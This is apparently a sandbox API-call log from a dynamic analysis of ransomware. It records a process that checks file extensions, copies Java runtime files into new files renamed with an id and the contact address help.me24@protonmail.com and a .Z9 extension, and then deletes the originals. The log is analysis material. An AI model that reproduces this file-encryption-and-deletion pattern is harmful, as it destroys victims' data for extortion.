	[0094.573] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.573] lstrlenW (lpString=".xls") returned 4
	[0094.573] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.573] lstrlenW (lpString=".xlsx") returned 5
	[0094.573] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1
	[0094.573] lstrlenW (lpString=".ppt") returned 4
	[0094.573] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.573] lstrlenW (lpString=".zip") returned 4
	[0094.573] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.573] lstrlenW (lpString=".rar") returned 4
	[0094.573] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.573] lstrlenW (lpString=".bz2") returned 4
	[0094.573] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.573] lstrlenW (lpString=".7z") returned 3
	[0094.573] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.573] lstrlenW (lpString=".dbf") returned 4
	[0094.573] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.574] lstrlenW (lpString=".1cd") returned 4
	[0094.574] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.574] lstrlenW (lpString=".jpg") returned 4
	[0094.574] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.574] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.574] lstrlenW (lpString="pack200.exe") returned 11
	[0094.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.574] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16448) returned 1
	[0094.574] CloseHandle (hObject=0x394) returned 1
	[0094.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20
	[0094.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.574] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.574] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.575] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.575] GetLastError () returned 0x0
	[0094.575] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.583] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.584] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.584] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1
	[0094.584] SetEndOfFile (hFile=0x37c) returned 1
	[0094.584] CloseHandle (hObject=0x37c) returned 1
	[0094.584] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.584] SetEndOfFile (hFile=0x394) returned 1
	[0094.585] CloseHandle (hObject=0x394) returned 1
	[0094.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.586] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1
	[0094.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.586] lstrlenW (lpString=".doc") returned 4
	[0094.586] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.586] lstrlenW (lpString=".docx") returned 5
	[0094.586] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0094.586] lstrlenW (lpString=".pdf") returned 4
	[0094.586] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.586] lstrlenW (lpString=".xls") returned 4
	[0094.586] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.586] lstrlenW (lpString=".xlsx") returned 5
	[0094.586] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0094.586] lstrlenW (lpString=".ppt") returned 4
	[0094.586] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.586] lstrlenW (lpString=".zip") returned 4
	[0094.586] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.586] lstrlenW (lpString=".rar") returned 4
	[0094.586] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.586] lstrlenW (lpString=".bz2") returned 4
	[0094.586] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.586] lstrlenW (lpString=".7z") returned 3
	[0094.586] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.586] lstrlenW (lpString=".dbf") returned 4
	[0094.587] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.587] lstrlenW (lpString=".1cd") returned 4
	[0094.587] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.587] lstrlenW (lpString=".jpg") returned 4
	[0094.587] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.587] lstrlenW (lpString=".doc") returned 4
	[0094.587] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.587] lstrlenW (lpString=".docx") returned 5
	[0094.587] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0094.587] lstrlenW (lpString=".pdf") returned 4
	[0094.587] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.587] lstrlenW (lpString=".xls") returned 4
	[0094.587] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.587] lstrlenW (lpString=".xlsx") returned 5
	[0094.587] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0094.587] lstrlenW (lpString=".ppt") returned 4
	[0094.587] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.587] lstrlenW (lpString=".zip") returned 4
	[0094.587] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.587] lstrlenW (lpString=".rar") returned 4
	[0094.587] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.587] lstrlenW (lpString=".bz2") returned 4
	[0094.587] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.587] lstrlenW (lpString=".7z") returned 3
	[0094.587] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.587] lstrlenW (lpString=".dbf") returned 4
	[0094.587] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.587] lstrlenW (lpString=".1cd") returned 4
	[0094.588] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0094.588] lstrlenW (lpString=".jpg") returned 4
	[0094.588] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.588] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.588] lstrlenW (lpString="msvcr100.dll") returned 12
	[0094.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.588] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=829264) returned 1
	[0094.588] CloseHandle (hObject=0x394) returned 1
	[0094.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20
	[0094.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.589] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.589] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.589] GetLastError () returned 0x0
	[0094.589] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xca750, lpOverlapped=0x0) returned 1
	[0094.656] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xca760, lpOverlapped=0x0) returned 1
	[0094.671] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.671] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.671] SetEndOfFile (hFile=0x37c) returned 1
	[0094.672] CloseHandle (hObject=0x37c) returned 1
	[0094.672] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.672] SetEndOfFile (hFile=0x394) returned 1
	[0094.679] CloseHandle (hObject=0x394) returned 1
	[0094.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.679] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1
	[0094.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.680] lstrlenW (lpString=".doc") returned 4
	[0094.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.680] lstrlenW (lpString=".docx") returned 5
	[0094.680] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.680] lstrlenW (lpString=".pdf") returned 4
	[0094.680] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.680] lstrlenW (lpString=".xls") returned 4
	[0094.680] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.680] lstrlenW (lpString=".xlsx") returned 5
	[0094.680] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.680] lstrlenW (lpString=".ppt") returned 4
	[0094.680] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.680] lstrlenW (lpString=".zip") returned 4
	[0094.680] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.680] lstrlenW (lpString=".rar") returned 4
	[0094.680] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.680] lstrlenW (lpString=".bz2") returned 4
	[0094.680] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.680] lstrlenW (lpString=".7z") returned 3
	[0094.680] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.680] lstrlenW (lpString=".dbf") returned 4
	[0094.680] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.680] lstrlenW (lpString=".1cd") returned 4
	[0094.680] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.680] lstrlenW (lpString=".jpg") returned 4
	[0094.680] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.680] lstrlenW (lpString=".doc") returned 4
	[0094.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.681] lstrlenW (lpString=".docx") returned 5
	[0094.681] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.681] lstrlenW (lpString=".pdf") returned 4
	[0094.681] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.681] lstrlenW (lpString=".xls") returned 4
	[0094.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.681] lstrlenW (lpString=".xlsx") returned 5
	[0094.681] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.681] lstrlenW (lpString=".ppt") returned 4
	[0094.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.681] lstrlenW (lpString=".zip") returned 4
	[0094.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.681] lstrlenW (lpString=".rar") returned 4
	[0094.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.681] lstrlenW (lpString=".bz2") returned 4
	[0094.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.681] lstrlenW (lpString=".7z") returned 3
	[0094.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.681] lstrlenW (lpString=".dbf") returned 4
	[0094.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.681] lstrlenW (lpString=".1cd") returned 4
	[0094.681] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0094.681] lstrlenW (lpString=".jpg") returned 4
	[0094.681] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.681] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.681] lstrlenW (lpString="npjp2.dll") returned 9
	[0094.681] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.994] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=234560) returned 1
	[0094.994] CloseHandle (hObject=0x324) returned 1
	[0094.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20
	[0094.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.994] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.994] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.994] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.994] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.005] GetLastError () returned 0x0
	[0095.005] ReadFile (in: hFile=0x324, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x39440, lpOverlapped=0x0) returned 1
	[0095.076] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x39450, lpOverlapped=0x0) returned 1
	[0095.080] ReadFile (in: hFile=0x324, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.080] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0095.080] SetEndOfFile (hFile=0x37c) returned 1
	[0095.080] CloseHandle (hObject=0x37c) returned 1
	[0095.080] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.080] SetEndOfFile (hFile=0x324) returned 1
	[0095.082] CloseHandle (hObject=0x324) returned 1
	[0095.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.083] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1
	[0095.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.083] lstrlenW (lpString=".doc") returned 4
	[0095.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.083] lstrlenW (lpString=".docx") returned 5
	[0095.083] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0095.083] lstrlenW (lpString=".pdf") returned 4
	[0095.083] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.083] lstrlenW (lpString=".xls") returned 4
	[0095.083] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.083] lstrlenW (lpString=".xlsx") returned 5
	[0095.083] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0095.083] lstrlenW (lpString=".ppt") returned 4
	[0095.083] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.083] lstrlenW (lpString=".zip") returned 4
	[0095.083] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.083] lstrlenW (lpString=".rar") returned 4
	[0095.083] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.083] lstrlenW (lpString=".bz2") returned 4
	[0095.083] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.083] lstrlenW (lpString=".7z") returned 3
	[0095.083] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.084] lstrlenW (lpString=".dbf") returned 4
	[0095.084] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.084] lstrlenW (lpString=".1cd") returned 4
	[0095.084] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.084] lstrlenW (lpString=".jpg") returned 4
	[0095.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.084] lstrlenW (lpString=".doc") returned 4
	[0095.084] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.084] lstrlenW (lpString=".docx") returned 5
	[0095.084] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0095.084] lstrlenW (lpString=".pdf") returned 4
	[0095.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.084] lstrlenW (lpString=".xls") returned 4
	[0095.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.084] lstrlenW (lpString=".xlsx") returned 5
	[0095.084] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0095.084] lstrlenW (lpString=".ppt") returned 4
	[0095.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0095.084] lstrlenW (lpString=".zip") returned 4
	[0095.084] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.084] lstrlenW (lpString=".rar") returned 4
	[0095.084] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.084] lstrlenW (lpString=".bz2") returned 4
	[0095.084] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
